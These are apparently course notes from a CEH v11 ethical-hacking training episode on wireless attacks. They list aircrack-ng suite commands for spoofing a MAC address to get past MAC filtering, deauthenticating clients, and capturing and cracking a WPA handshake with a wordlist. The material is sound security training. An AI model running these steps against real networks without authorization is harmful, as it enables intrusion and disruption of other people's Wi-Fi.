

- Filename: eccouncil-ceh31250-v11-16-4-1-wireless-hacking.md
- Show Name: CEHV11 (312-50)
- Topic Name: Wireless Network Hacking - Hacking Wireless Networks
- Episode Name: Wireless Hacking

=====

Wireless Hacking

Objectives:

- MAC Spoofing
 - Bypass MAC Filtering
 1. `sudo airmon-ng start wlan0`
 - Record the BSSID if the target device
 2. `sudo airodump-ng -c 6 --bssid <Target_MAC> -w psk wlan0mon`
 - This will show connected clients MAC addresses
 3. `sudo airmon-ng stop wlan0mon`
 4. `sudo ifconfig wlan0 down`
 5. `sudo ifconfig wlan0 hw ether <Client_MAC>`
 6. `sudo ifconfig wlan0 up`
 7. Connect to MAC filtered wireless network
- De-authentication Attack
 - Follow the same steps above to discover clients for death
 - Then...
 - `sudo aireplay-ng --deauth 25 -h <Client_MAC> -b <Target_MAC> wlan0`
- WPA Cracking
 - Put wireless card into monitoring mode
 - `airmon-ng -start wlan0`
 - Find BSSID of target AP
 - `airodump-ng wlan0mon`
 - Record BSSID and channel of Target AP
 - Monitor target AP
 - `airodump-ng -c 6 --bssid 00:1C:DF:89:84:9F -w ceh.cap wlan0mon`
 - -c = channel number
 - -w = write out file location
 - Wait for 4-way handshake or force with `aireplay-ng`
 - Force 4-way handshake
 - `aireplay-ng -0 2 -a 00:1C:DF:89:84:9F -c <clientMAC> wlan0mon`
 - Check the `airodump-ng` capture for 4-way handshake
 - Time to crack the WPA key

- `aircrack-ng -a2 -b 00:1C:DF:89:84:9F -w ~/Documents/rockyou.txt *.cap`
 - Record the cracked PSK
- Return wireless device to normal operation
 - `airmon-ng stop wlan0mon`
 - `service networkmanager start`
- Attempt to connect to Target AP with cracked PSK